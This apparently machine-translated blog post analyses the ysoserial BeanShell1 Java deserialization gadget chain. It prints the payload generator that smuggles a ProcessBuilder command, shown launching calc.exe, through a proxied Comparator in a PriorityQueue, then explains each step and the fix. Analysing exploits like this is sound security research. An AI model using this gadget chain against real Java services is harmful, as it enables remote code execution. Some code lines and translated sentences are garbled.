Analysis

0 24
Version<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)...

Version

<!-- https://mvnrepository.com/artifact/org.beanshell/bsh (beanshell1)-->  
<dependency>  
    <groupId>org.beanshell</groupId>  
    <artifactId>bsh</artifactId>  
    <version>2.0b5</version>  
</dependency>

Usage

beanshell can point to Java code:

package com.kiwi.beanshell;  
  
import bsh.EvalError;  
import bsh.Interpreter;  
  
public class BeanShellExample {  
    public static void main(String[] args) {  
        Interpreter interpreter = new Interpreter();  
        try {  
            // Execute BeanShell script  
            interpreter.eval("int a = 3; int b = 4; int sum = a + b; System.out.println(sum);");  
        catch (EvalError evalError) {  
            evalError.printStackTrace();  
        }  
    }  
}

Analysis

The payload given by yso is divided into three parts:

Analysis
package ysoserial.payloads;  
  
import bsh.Interpreter;  
import bsh.XThis;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Arrays;  
import java.util.Comparator;  
import java.util.PriorityQueue;  
import ysoserial.Strings;  
import ysoserial.payloads.annotation.Authors;  
import ysoserial.payloads.annotation.Dependencies;  
import ysoserial.payloads.util.PayloadRunner;  
import ysoserial.payloads.util.Reflections;  
  
@Dependencies({"org.beanshell:bsh:2.0b5"})  
@Authors({"pwntester", "cschneider4711"})  
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {  
    public BeanShell1() {  
    }  
  
    public PriorityQueue getObject(String command) throws Exception {  
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") +" "}).start();return new Integer(1);}";  
        Interpreter i = new Interpreter();  
        i.eval(payload);  
        XThis xt = new XThis(i.getNameSpace(), i);  
        InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);}  
        Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);  
        PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);  
        Object[] queue = new Object[]{1, 1};  
        Reflections.setFieldValue(priorityQueue, "queue", queue);  
        Reflections.setFieldValue(priorityQueue, "size", 2);  
        return priorityQueue;  
    }  
  
    public static void main(String[] args) throws Exception {  
        PayloadRunner.run(BeanShell1.class, args);  
    }  
}

First part

String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"  
        +  
        Strings.join(Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\")  
        .replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"")  
        +  
        "}).start();return new Integer(1);}";  
// compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}  
Interpreter i = new Interpreter();  
i.eval(payload);

It mainly constructspayloadThen callevalExecute it.

Second part

// Dynamic proxy obtained the enhanced object comparator  
XThis xt = new XThis(i.getNameSpace(), i);  
// Obtain the value of invocationHandler  
Field invocationHandler = Reflections.getField(xt.getClass(), "invocationHandler");  
InvocationHandler handler = (InvocationHandler)invocationHandler.get(xt);  
  
Comparator comparator = (Comparator)Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);

using dynamic proxy, obtainedinvocationHandlervalue, and then enhance to getcomparatoris mainly to pass the comparator.

The third part

PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);  
Object[] queue = new Object[]{1, 1};  
Reflections.setFieldValue(priorityQueue, "queue", queue);  
Reflections.setFieldValue(priorityQueue, "size", 2);

is mainly part of apache common collections 2.

Overall process analysis

Starting from CC2,readObject->heapify->siftDown->siftDownUsingComparator

to prioritize the PriorityQueuesiftDownUsingComparatorofcomparator.compare(x, (E) c) <= 0ofcomparatorcall modification to the payload incompareof the call.

1736852348071.png

Detailed analysis

1. The first part is put at the end.

2. Instantiate the XThis object, the core part is ini.getNameSpace(), here is a popular science:

When you call any method through the dynamic proxy object, the invoke method will be called. This is the core part of the Java dynamic proxy mechanism. Specifically, when you call any method on the proxy object, Java's reflection mechanism forwards the call to the invoke method of the InvocationHandler.

Just as in XThis,InvocationHandlerinterface, so it will execute the invoke and invokeImpl methods under XThis, which is similar to the normal dynamic proxy start.

3. Why instantiate the data type asComparatorobject?
In the overall process analysis, it can be seen that replacing comparator with our own object can call our own compare method.

4. Why the fourth part?

Object[] queue = new Object[]{1,2};  
Reflections.setFieldValue(priorityQueue, "queue", queue);  
Reflections.setFieldValue(priorityQueue, "size", 2);

The most questionable part is these three lines, which mainly modify the value of queue to {1,2} and the value of size to 2.

If the value of size is not modified, thenint i = (size >>> 1) - 1The value is -1, which cannot enter the loop.

private void heapify() {  
    for (int i = (size >>> 1) - 1; i >= 0; i--)  
        siftDown(i, (E) queue[i]);  
}

At least change the value of size to 2, so that the value of i can be 0. However, an error will occur when it is actually executed, and the error is reported in:

java.util.PriorityQueue#writeObject

for (int i = 0; i < size; i++)  
    s.writeObject(queue[i]);

The queue has a default empty element, causing an out-of-bounds error during the second write, so the queue must have at least two elements.

5. Returning to the first part, why the payload needs to be constructed as:

compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();return new Integer(1);}

The reason is in (java.util.PriorityQueue#siftDownUsingComparator):

if (comparator.compare(x, (E) c) <= 0)  
    break;

After the comparator is modified to the object we replace, when calling the compare method of the corresponding object and finally returning 1, the purpose is to have a value for comparison with 0 in the above code.

Fix

The Handler interface that can be serialized has been directly removed, that isInvocationHandlerCannot be serialized, leading tocomparatorCannot be serialized, resulting inpriorityQueueCannot be serialized.

你可能想看:
最后修改时间:
admin
上一篇 2025年03月27日 03:00
下一篇 2025年03月27日 03:23

评论已关闭